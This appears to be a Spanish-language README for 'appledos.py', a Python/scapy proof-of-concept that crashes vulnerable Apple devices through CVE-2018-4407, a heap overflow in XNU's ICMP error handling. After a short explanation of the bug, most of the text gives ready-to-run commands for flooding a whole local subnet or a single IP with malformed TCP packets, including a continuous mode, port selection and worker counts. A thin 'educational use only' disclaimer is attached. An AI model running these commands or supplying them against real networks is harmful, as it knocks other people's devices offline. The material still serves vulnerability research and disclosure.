
Interfiriendo dispositivos Apple en la red mediante CVE-2018-4407 (desbordamiento de montón en el manejo de paquetes maliciosos)
Basado en CVE-2018-4407 (https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407), este tweet y este video. El error es una vulnerabilidad de desbordamiento de montón en el manejo de paquetes maliciosos cuando el sistema operativo intenta enviar un mensaje ICMP que contiene segmentos del paquete malicioso de vuelta al remitente.

Este PoC bloqueará los dispositivos Apple vulnerables enviando datos de paquetes TCP maliciosos que contienen opciones largas de cabecera TCP/IP para desbordar el mensaje ICMP cuando el dispositivo intente enviar el mensaje de error. Necesitas la capacidad de enviar datos de paquetes de red directamente al dispositivo (por ejemplo, en la misma red local).
Las siguientes versiones de sistemas operativos y dispositivos son vulnerables:
SOLO CON FINES EDUCATIVOS. NO UTILICES ESTE SCRIPT PARA ACTIVIDADES ILEGALES. EL AUTOR NO SE HACE RESPONSABLE DE CUALQUIER USO INDEBIDO O DAÑO.
Asegúrate de tener Python 3 y scapy.
pip install scapy
# or
pip3 install scapy
Puede que necesites ejecutar el script como root.
Enviar paquete malicioso a la subred 192.168.1.0/24.
sudo ./appledos.py 192.168.1.0/24
Muestra la IP después de enviar el paquete.
sudo ./appledos.py --verbose 192.168.1.0/24
Enviar paquete malicioso a la subred 192.168.1.0/24 de forma continua.
sudo ./appledos.py --continuous 192.168.1.0/24
Cambiar el puerto de destino (por defecto: 80). Puedes cambiarlo a cualquier puerto, ya que los dispositivos responderán a cualquier paquete entrante en cualquier puerto, pero quizás quieras considerar el bloqueo de puertos o el cortafuegos en el host o la red.
sudo ./appledos.py --continuous --port 22 192.168.1.0/24
Enviar paquete malicioso a una sola IP.
sudo ./appledos.py 192.168.1.118
Establecer trabajadores máximos (por defecto: 100).
sudo ./appledos.py --worker 10 192.168.1.0/24
Este script utiliza scapy y tiene un problema conocido al manejar /dev/bpf (Berkeley Packet Filter) al enviar datos de paquetes desde sistemas operativos como macOS con múltiples hilos. Si te encuentras con No /dev/bpf handle is available, intenta reducir el número de trabajadores a 1 o 2. O, simplemente puedes usar Linux como en el video de demostración.